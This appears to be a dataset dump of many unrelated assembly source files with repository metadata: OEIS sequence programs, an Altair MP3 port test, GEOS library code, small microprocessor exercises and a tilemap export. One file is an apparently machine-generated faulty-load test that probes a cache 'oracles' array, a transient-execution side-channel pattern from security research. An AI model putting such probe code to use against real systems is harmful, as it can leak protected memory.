84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/242/A242123.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/242/A242123.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A242123: Primes modulo 25.
; Submitted by Jon Maiga
; 2,3,5,7,11,13,17,19,23,4,6,12,16,18,22,3,9,11,17,21,23,4,8,14,22,1,3,7,9,13,2,6,12,14,24,1,7,13,17,23,4,6,16,18,22,24,11,23,2,4,8,14,16,1,7,13,19,21,2,6,8,18,7,11,13,17,6,12,22,24,3,9,17,23,4,8,14,22,1,9,19,21,6,8,14,18,24,7,11,13,17,4,12,16,24,3,9,21,23,16
mul $0,2
max $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
mod $0,25
| 45.333333
| 259
| 0.642157
|
c537d82df76897c3e0a806f7cc6ef7ac8e84b761
| 3,558
|
asm
|
Assembly
|
Altair101/asm/programs/opOutPlayerVfp.asm
|
tigerfarm/arduino
|
e51f111a092fe6737646b146a825f4eecbd05d44
|
[
"OLDAP-2.4",
"OLDAP-2.7"
] | 2
|
2021-12-12T23:27:10.000Z
|
2022-02-17T14:01:21.000Z
|
Altair101/asm/programs/opOutPlayerVfp.asm
|
tigerfarm/arduino
|
e51f111a092fe6737646b146a825f4eecbd05d44
|
[
"OLDAP-2.4",
"OLDAP-2.7"
] | null | null | null |
Altair101/asm/programs/opOutPlayerVfp.asm
|
tigerfarm/arduino
|
e51f111a092fe6737646b146a825f4eecbd05d44
|
[
"OLDAP-2.4",
"OLDAP-2.7"
] | 4
|
2021-08-29T19:55:49.000Z
|
2022-02-15T08:30:15.000Z
|
; ------------------------------------------------
; Test MP3 player out ports.
;
; OUT 10, MP3 play options.
; regA == 0 Pause
; regA == B11111111 Start play with play loop OFF, play the current MP3.
; Else Play the regA MP3 file number, once.
;
; OUT 11, MP3 play loop options.
; regA == 0 Pause
; regA == B11111111 Start play with play loop ON, play the current MP3.
; Else Loop play the regA MP3.
; ------------------------------------------------
Start:
; ------------------------------------------------
MVI A,10 ; Set the MP3 file number to play.
OUT 10 ; 10 is for playing an MP3 file once.
org 100 ; Enough NOPs to allow silence after completing the playing of the MP3.
; ------------------------------------------------
MVI A,9 ; Set the MP3 file number to play a long playing MP3.
OUT 10
org 160 ; Enough NOPs to have the MP3 play for a while.
; ------------------------------------------------
MVI A,0 ; Pause the currently playing MP3 file.
OUT 10
org 260 ; NOPs to show quiet after the pause and before the next play.
; ------------------------------------------------
MVI A,255 ; Continue playing the current MP3.
OUT 10
org 400 ; Enough NOPs to have the MP3 play for a while.
; ------------------------------------------------
HLT ;
; ------------------------------------------------
MVI A,2 ; MP3 file to play for the tests.
OUT 11 ; Play the MP3 in a loop.
org 600 ; NOPs to give time to complete the playing of the MP3.
; ------------------------------------------------
MVI A,255 ; Start playing the MP3 file that was looping.
OUT 11
org 700 ; NOPs to give time to complete the playing of the MP3.
; ------------------------------------------------
MVI A,8 ; MP3 file to play for the tests.
OUT 12 ; Play MP3 to completion before moving to the next opcode.
; ------------------------------------------------
HLT ;
JMP Start
; --------------------------------------
end
| 72.612245
| 116
| 0.262507
|
fe864c2f4869fe8d78911f942177cca9cf8ad03d
| 568
|
asm
|
Assembly
|
oeis/339/A339749.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/339/A339749.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/339/A339749.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A339749: a(n) is the greatest k > 0 such that 1+n, 1+2*n, ..., 1+n*k are pairwise coprime.
; Submitted by Jamie Morken(s3)
; 2,3,2,4,2,7,2,3,2,4,2,6,2,3,2,4,2,7,2,3,2,4,2,5,2,3,2,4,2,9,2,3,2,4,2,8,2,3,2,4,2,6,2,3,2,4,2,7,2,3,2,4,2,5,2,3,2,4,2,11,2,3,2,4,2,8,2,3,2,4,2,6,2,3,2,4,2,7,2,3,2,4,2,5,2,3,2
mov $1,1
mov $4,$0
add $0,2
mov $2,1
lpb $0
add $2,$4
add $6,1
lpb $3
mul $0,$5
add $2,1
lpb $3
mov $4,$1
gcd $4,$2
cmp $4,1
cmp $4,0
sub $3,$4
lpe
lpe
sub $0,1
add $2,1
mul $1,$2
mov $3,1
lpe
mov $0,$6
| 19.586207
| 176
| 0.494718
|
da924232774a8f27bc5b7200bb214bd359ff0507
| 1,397
|
asm
|
Assembly
|
Library/Styles/UI/uiManager.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Styles/UI/uiManager.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Styles/UI/uiManager.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Styles Library
FILE: UI/uiManager.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/91 Initial version
DESCRIPTION:
$Id: uiManager.asm,v 1.1 97/04/07 11:15:20 newdeal Exp $
------------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Common GEODE stuff
;------------------------------------------------------------------------------
include stylesGeode.def
include gstring.def
include Objects/gCtrlC.def
DefLib Objects/styles.def
include Internal/prodFeatures.def
;------------------------------------------------------------------------------
; Resource definitions
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
include uiManager.rdef
;------------------------------------------------------------------------------
; Code
;------------------------------------------------------------------------------
include uiStyleSheet.asm
| 28.510204
| 80
| 0.289907
|
e49b2847c2cbd31bdcfcb770331ed394aec7310f
| 666
|
asm
|
Assembly
|
oeis/121/A121621.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/121/A121621.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/121/A121621.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A121621: Real part of (2 + 3i)^n.
; Submitted by Jon Maiga
; 1,2,-5,-46,-119,122,2035,6554,-239,-86158,-341525,-246046,3455641,17021162,23161315,-128629846,-815616479,-1590277918,4241902555,37641223154,95420159401,-107655263398,-1671083125805,-5284814079046,584824319281,71041880304722,276564805068235,182714776311554,-2864483360640839,-13833225534613558,-18094618450123325,107453458149482954,665043872449535041,1263280533854861762,-3592448206424508485,-30792439765811236846,-76467932379726337079,94429987436640730682,1371803070683005304755
mov $2,1
lpb $0
sub $0,1
mov $1,$2
mul $1,7
add $3,$2
mul $2,3
sub $2,$3
mul $3,2
add $3,$1
lpe
mov $0,$2
| 39.176471
| 481
| 0.779279
|
fba50fd60e2458078f5a4e32aca67a8fffaf2ccb
| 365
|
asm
|
Assembly
|
programs/oeis/014/A014628.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/014/A014628.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/014/A014628.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A014628: Number of segments (and sides) created by diagonals of an n-gon in general position.
; 3,8,20,45,91,168,288,465,715,1056,1508,2093,2835,3760,4896,6273,7923,9880,12180,14861,17963,21528,25600,30225,35451,41328,47908,55245,63395,72416,82368,93313,105315,118440,132756,148333,165243,183560
add $0,2
mov $1,$0
bin $1,3
add $1,$0
add $0,1
mul $0,$1
div $0,2
| 33.181818
| 201
| 0.742466
|
8eda5495c920ce20edee9d8825c82cabf8baba0f
| 163
|
asm
|
Assembly
|
programs/oeis/074/A074280.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/074/A074280.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/074/A074280.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A074280: Duplicate of A000523.
; 0,1,1,2,2,2,2,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5
add $0,1
lpb $0,$0
div $0,2
add $2,1
lpe
mov $1,$2
| 16.3
| 73
| 0.546012
|
b7ad281c48707cb94d078c7211cb50c2782ba5de
| 2,438
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_st_zr_/i9-9900K_12_0xca_notsx.log_16_1957.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_st_zr_/i9-9900K_12_0xca_notsx.log_16_1957.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_st_zr_/i9-9900K_12_0xca_notsx.log_16_1957.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x2d04, %rsi
lea addresses_D_ht+0x10304, %rdi
nop
nop
add $16310, %r10
mov $100, %rcx
rep movsb
nop
add $28352, %rcx
lea addresses_D_ht+0x15604, %rdi
sub $32777, %r9
mov (%rdi), %r11d
add $20823, %r11
lea addresses_D_ht+0x6284, %r9
nop
nop
nop
nop
nop
add $18755, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%r9)
nop
sub %r9, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_PSE+0x1e104, %rsi
nop
nop
nop
nop
nop
dec %r11
mov $0x5152535455565758, %rbp
movq %rbp, (%rsi)
and $7743, %r11
// Store
lea addresses_A+0x15684, %r8
nop
nop
nop
nop
sub %rdi, %rdi
movl $0x51525354, (%r8)
nop
nop
nop
nop
nop
and %rcx, %rcx
// Store
lea addresses_A+0x6b84, %r8
nop
nop
nop
nop
nop
cmp $44382, %rdi
mov $0x5152535455565758, %rsi
movq %rsi, (%r8)
nop
nop
nop
nop
nop
dec %rsi
// Faulty Load
lea addresses_US+0x1d104, %r8
nop
nop
nop
dec %rsi
mov (%r8), %ecx
lea oracles, %r11
and $0xff, %rcx
shlq $12, %rcx
mov (%r11,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': True, 'AVXalign': True, 'size': 4, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': True, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'00': 1, '58': 15}
00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 18.19403
| 147
| 0.645611
|
afb27aebdcbcc477a129b31b3a96bfb4ec6654ad
| 98
|
asm
|
Assembly
|
programs/test_bit.asm
|
tofu13/pyc64
|
1ffb1d864de1b4df64f6eceb724ff653ce68aa2a
|
[
"MIT"
] | null | null | null |
programs/test_bit.asm
|
tofu13/pyc64
|
1ffb1d864de1b4df64f6eceb724ff653ce68aa2a
|
[
"MIT"
] | null | null | null |
programs/test_bit.asm
|
tofu13/pyc64
|
1ffb1d864de1b4df64f6eceb724ff653ce68aa2a
|
[
"MIT"
] | null | null | null |
*=$2000
LDX #$f0
STX $02
LDA #$81
BIT $02
EOR $02
ORA $02
AND $02
| 10.888889
| 12
| 0.397959
|
b63b9aff6ec94dd1f054adda1ed05b035d46fa97
| 678
|
asm
|
Assembly
|
oeis/114/A114047.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/114/A114047.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/114/A114047.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A114047: x such that x^2 - 13*y^2 = 1.
; Submitted by Jon Maiga
; 1,649,842401,1093435849,1419278889601,1842222905266249,2391203911756701601,3103780835237293411849,4028705132934095091878401,5229256158767620191964752649,6787570465375238075075157060001,8810261234800900253827361899128649,11435712295201103154229840669911926401,14843545748909797093290079362183781339849,19266910946372621425987368782273878267197601,25008435564845913701134511389312131807041146249,32460930096259049611451169795958364811661140633601,42134262256508681549749917260642568213404353501267849
mul $0,2
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,18
add $3,$2
lpe
mov $0,$3
| 42.375
| 500
| 0.849558
|
35e9e63da72b9f4b25b3df0de78c07ca9169b39f
| 1,161
|
asm
|
Assembly
|
programs/oeis/163/A163888.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/163/A163888.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/163/A163888.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A163888: a(n) = 2*a(n-2) for n > 2; a(1) = 5, a(2) = 4.
; 5,4,10,8,20,16,40,32,80,64,160,128,320,256,640,512,1280,1024,2560,2048,5120,4096,10240,8192,20480,16384,40960,32768,81920,65536,163840,131072,327680,262144,655360,524288,1310720,1048576,2621440,2097152,5242880,4194304,10485760,8388608,20971520,16777216,41943040,33554432,83886080,67108864,167772160,134217728,335544320,268435456,671088640,536870912,1342177280,1073741824,2684354560,2147483648,5368709120,4294967296,10737418240,8589934592,21474836480,17179869184,42949672960,34359738368,85899345920,68719476736,171798691840,137438953472,343597383680,274877906944,687194767360,549755813888,1374389534720,1099511627776,2748779069440,2199023255552,5497558138880,4398046511104,10995116277760,8796093022208,21990232555520,17592186044416,43980465111040,35184372088832,87960930222080,70368744177664,175921860444160,140737488355328,351843720888320,281474976710656,703687441776640,562949953421312,1407374883553280,1125899906842624,2814749767106560,2251799813685248,5629499534213120,4503599627370496
mov $1,5
lpb $0
sub $0,1
sub $1,1
mul $1,2
mov $2,$3
trn $2,2
add $2,4
mov $3,$1
mov $1,$2
lpe
| 77.4
| 990
| 0.829457
|
bf30b7ed700bc5302e21cd54f7163a1138551c2b
| 951
|
asm
|
Assembly
|
lib/src/xr/x86/os2/xrnmlg.asm
|
zanud/xds-2.60
|
b4a32b9c9c91fe513fa5ff78ec87bb44102a3b72
|
[
"Apache-2.0"
] | 53
|
2019-06-10T18:19:44.000Z
|
2021-12-28T18:56:00.000Z
|
Sources/Lib/src/xr/x86/os2/xrnmlg.asm
|
undecidedzogvisvitalispotent8stars360/xds
|
cfd20e209193c9cfcee94ad2ca30d8c32ead48c9
|
[
"Apache-2.0"
] | 5
|
2020-07-10T16:06:48.000Z
|
2021-07-30T07:17:50.000Z
|
Sources/Lib/src/xr/x86/os2/xrnmlg.asm
|
undecidedzogvisvitalispotent8stars360/xds
|
cfd20e209193c9cfcee94ad2ca30d8c32ead48c9
|
[
"Apache-2.0"
] | 20
|
2019-06-10T18:09:16.000Z
|
2021-10-02T19:46:42.000Z
|
.386p
.387
; COPYRIGHT (c) 1995,99 XDS. All Rights Reserved.
; Implementation for lg & lgl functions
ifdef OS2
.model FLAT
endif
DGROUP group _DATA
_DATA segment use32 dword public 'DATA'
_DATA ends
ifdef OS2
_TEXT segment use32 dword public 'CODE'
else
_TEXT segment use32 para public 'CODE'
endif
; assume cs: _TEXT, ds: DGROUP, gs: nothing, fs: nothing
;PROCEDURE ["StdCall"] X2C_lg(x: REAL): REAL
public X2C_lg
X2C_lg proc near
fld dword ptr +4[esp]
fldlg2
fxch st(1)
fyl2x
ret 4h
X2C_lg endp
;PROCEDURE ["StdCall"] X2C_lgl(x: LONGREAL): LONGREAL
public X2C_lgl
X2C_lgl proc near
fld qword ptr +4[esp]
fldlg2
fxch st(1)
fyl2x
ret 8h
X2C_lgl endp
_TEXT ends
end
| 20.234043
| 73
| 0.532072
|
0e08b82b194d08eba684341dd729f045781a02fc
| 64
|
asm
|
Assembly
|
base/c64/clrscr.asm
|
zbyti/Mad-Pascal
|
546cae9724828f93047080109488be7d0d07d47e
|
[
"MIT"
] | 1
|
2021-12-15T23:47:19.000Z
|
2021-12-15T23:47:19.000Z
|
base/c64/clrscr.asm
|
michalkolodziejski/Mad-Pascal
|
0a7a1e2f379e50b0a23878b0d881ff3407269ed6
|
[
"MIT"
] | null | null | null |
base/c64/clrscr.asm
|
michalkolodziejski/Mad-Pascal
|
0a7a1e2f379e50b0a23878b0d881ff3407269ed6
|
[
"MIT"
] | null | null | null |
; unit CRT: TextMode
.proc @ClrScr
jmp $e544
.endp
| 7.111111
| 21
| 0.5625
|
26d332de758ff8c7b6893c2b87fd3e892cd714bf
| 313
|
asm
|
Assembly
|
src/test/resources/data/generationtests/asmsx-labels-expected.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 36
|
2020-06-29T06:52:26.000Z
|
2022-02-10T19:41:58.000Z
|
src/test/resources/data/generationtests/asmsx-labels-expected.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 39
|
2020-07-02T18:19:34.000Z
|
2022-03-27T18:08:54.000Z
|
src/test/resources/data/generationtests/asmsx-labels-expected.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 7
|
2020-07-02T06:00:05.000Z
|
2021-11-28T17:31:13.000Z
|
; Test case to make sure local labels are saved in a way asMSX can parse them afterwards
org #8000
db "AB", loop % 256, loop / 256, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
loop:
call f1
jp loop
f1:
ld a, (hl)
ld b, 8
f1_l1:
inc a
djnz f1_l1
ld b, 8
f1_l2:
inc a
djnz f1_l2
ld (hl), a
ret
ds #a000 - $, 0
| 15.65
| 88
| 0.603834
|
859177d21a3640a3f7b201ea78337bea084e108a
| 152
|
asm
|
Assembly
|
13 BCD Diff.asm
|
jpsxlr8/Microprocessor-Lab
|
76b123612d919ac80619e3da89c95fffd9e2b4d0
|
[
"MIT"
] | null | null | null |
13 BCD Diff.asm
|
jpsxlr8/Microprocessor-Lab
|
76b123612d919ac80619e3da89c95fffd9e2b4d0
|
[
"MIT"
] | null | null | null |
13 BCD Diff.asm
|
jpsxlr8/Microprocessor-Lab
|
76b123612d919ac80619e3da89c95fffd9e2b4d0
|
[
"MIT"
] | null | null | null |
LXI H,8000H
MOV C,M
LXI D,8001H
LXI H,8004H
STC
LOOP:MVI A,99H
ACI 00H
SUB M
XCHG
ADD M
DAA
MOV M,A
XCHG
INX H
INX D
DCR C
JNZ LOOP
HLT
| 8.444444
| 15
| 0.644737
|
fe42188b80b533f188660a81cb4c69bfac7ada9c
| 827
|
asm
|
Assembly
|
week_7/dataset/Assembly/056600.asm
|
Dumebi35/DumebiCSC102
|
56985f4852bc01c94dce2ee368c9612ad368f619
|
[
"MIT"
] | null | null | null |
week_7/dataset/Assembly/056600.asm
|
Dumebi35/DumebiCSC102
|
56985f4852bc01c94dce2ee368c9612ad368f619
|
[
"MIT"
] | null | null | null |
week_7/dataset/Assembly/056600.asm
|
Dumebi35/DumebiCSC102
|
56985f4852bc01c94dce2ee368c9612ad368f619
|
[
"MIT"
] | null | null | null |
;extracting bit strings from the the date field
.model small
.stack 100h
.data
day db ?
month db ?
year dw ?
.code
main proc
mov ax,@data
mov ds,ax
;get day
mov dx,126Ah ;0001 0010 0110 1010b
;example date Mar 10,1989
mov al,dl ;make a copy of dl
and al,00011111b ;clear bits 5-7
mov day,al ;save as variable 'day'
;get month
mov ax,dx ;make a copy of dx
mov cl,5 ;shift count
shr ax,cl ;shift rught 5 bits
and al,00001111b ;clear bits 4-7
mov month,al ;save as variable 'month'
;get year
mov al,dh ;make a copy of dh
shr al,1 ;shift right 1 position
mov ah,0 ;set ah=0
add ax,1980 ;to get actual year add '1980'
mov year,ax ; save in var. 'year'
;display values in registers
mov bl,day
mov cl,month
mov dx,year
mov ax,4c00h
int 21h
main endp
end main
| 20.170732
| 47
| 0.665054
|
e6726bc1b6b71be0f626221d8000dfd207fc6afd
| 602
|
asm
|
Assembly
|
oeis/191/A191902.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/191/A191902.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/191/A191902.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A191902: Number of compositions of odd positive integers into 5 parts <= n.
; 0,16,121,512,1562,3888,8403,16384,29524,50000,80525,124416,185646,268912,379687,524288,709928,944784,1238049,1600000,2042050,2576816,3218171,3981312,4882812,5940688,7174453,8605184,10255574,12150000,14314575,16777216,19567696,22717712,26260937,30233088,34671978,39617584,45112099,51200000,57928100,65345616,73504221,82458112,92264062,102981488,114672503,127401984,141237624,156250000,172512625,190102016,209097746,229582512,251642187,275365888,300846028,328178384,357462149,388800000,422298150
add $0,1
pow $0,5
div $0,2
| 86
| 495
| 0.842193
|
ccab28e8c1058b609a66d9be5b72c4e3417a0769
| 151
|
asm
|
Assembly
|
src/file_selector.asm
|
I8087/libm
|
47874572a2bc1356e1ab70f9c29b6fa50875f3c3
|
[
"BSD-2-Clause"
] | 13
|
2015-06-13T00:56:27.000Z
|
2022-01-25T16:55:26.000Z
|
src/file_selector.asm
|
I8087/libm
|
47874572a2bc1356e1ab70f9c29b6fa50875f3c3
|
[
"BSD-2-Clause"
] | 10
|
2016-02-02T23:34:27.000Z
|
2019-06-11T22:41:23.000Z
|
src/file_selector.asm
|
I8087/libm
|
47874572a2bc1356e1ab70f9c29b6fa50875f3c3
|
[
"BSD-2-Clause"
] | 1
|
2016-06-21T05:19:15.000Z
|
2016-06-21T05:19:15.000Z
|
global _file_selector
_file_selector:
push bp
mov bp, sp
call os_file_selector
jnc .skip
xor ax, ax
.skip:
pop bp
ret
| 9.4375
| 25
| 0.615894
|
de24d81c091fb8a68f4fdb4a7e742a88ec46f4b7
| 54
|
asm
|
Assembly
|
tests/chkeq.asm
|
dimitrit/uz80as
|
b4fd490c9ce89ac30c5b130d951a1ed4288233d0
|
[
"MIT"
] | 8
|
2017-05-03T10:49:20.000Z
|
2022-02-03T02:55:21.000Z
|
tests/chkeq.asm
|
vipoo/uz80as
|
7cf5c353a5c1ceeaf5ba7b502e220fb41e7d9fb0
|
[
"MIT"
] | 1
|
2020-02-25T06:28:30.000Z
|
2020-03-30T17:09:50.000Z
|
tests/chkeq.asm
|
vipoo/uz80as
|
7cf5c353a5c1ceeaf5ba7b502e220fb41e7d9fb0
|
[
"MIT"
] | 2
|
2020-02-26T21:12:55.000Z
|
2022-02-02T17:51:03.000Z
|
.ORG 0
START .DB 1, 2
NEXT .CHK NEXT
.DB 3, 4
.END
| 9
| 14
| 0.574074
|
0a9a71b32651ad4e0e13b3b9b8af344f6c632ce5
| 63
|
asm
|
Assembly
|
kernel/src/core/tsshelper.asm
|
Remco123/CactusOS
|
de4c61211c2908cf1a27d8ccbeb6340133772454
|
[
"MIT"
] | 87
|
2019-03-04T21:16:20.000Z
|
2022-01-30T15:10:44.000Z
|
kernel/src/core/tsshelper.asm
|
Remco123/CactusOS
|
de4c61211c2908cf1a27d8ccbeb6340133772454
|
[
"MIT"
] | 5
|
2019-04-24T10:33:55.000Z
|
2021-06-13T09:46:28.000Z
|
kernel/src/core/tsshelper.asm
|
Remco123/CactusOS
|
de4c61211c2908cf1a27d8ccbeb6340133772454
|
[
"MIT"
] | 2
|
2020-11-13T08:56:09.000Z
|
2021-08-01T06:38:31.000Z
|
global flush_tss
flush_tss:
mov ax, 0x28
ltr ax
ret
| 12.6
| 16
| 0.650794
|
c2130714f71b958186a6e38c06ceadcb333c1f6f
| 4,093
|
asm
|
Assembly
|
samples/sms/tilemap_render/bidir_scroll_ADJ_SCR_MASKS/data/tilemap.asm
|
0x8BitDev/MAPeD-SPReD
|
da1a8a582980ea5963777a46fd3dfddc0d69aa82
|
[
"MIT"
] | 23
|
2019-05-16T20:23:49.000Z
|
2022-03-13T21:53:10.000Z
|
samples/sms/tilemap_render/bidir_scroll_ADJ_SCR_MASKS/data/tilemap.asm
|
0x8BitDev/MAPeD-SPReD
|
da1a8a582980ea5963777a46fd3dfddc0d69aa82
|
[
"MIT"
] | 6
|
2021-03-30T05:51:46.000Z
|
2022-01-07T13:18:44.000Z
|
samples/sms/tilemap_render/bidir_scroll_ADJ_SCR_MASKS/data/tilemap.asm
|
0x8BitDev/MAPeD-SPReD
|
da1a8a582980ea5963777a46fd3dfddc0d69aa82
|
[
"MIT"
] | null | null | null |
;#######################################################
;
; Generated by MAPeD-SMS Copyright 2017-2021 0x8BitDev
;
;#######################################################
; export options:
; - tiles 4x4/(columns)
; - properties per CHR (screen attributes)
; - mode: bidirectional scrolling
; - layout: adjacent screens (marks)
; - no entities
.define MAP_DATA_MAGIC $3484A
; data flags:
.define MAP_FLAG_TILES2X2 $01
.define MAP_FLAG_TILES4X4 $02
.define MAP_FLAG_RLE $04
.define MAP_FLAG_DIR_COLUMNS $08
.define MAP_FLAG_DIR_ROWS $10
.define MAP_FLAG_MODE_MULTIDIR_SCROLL $20
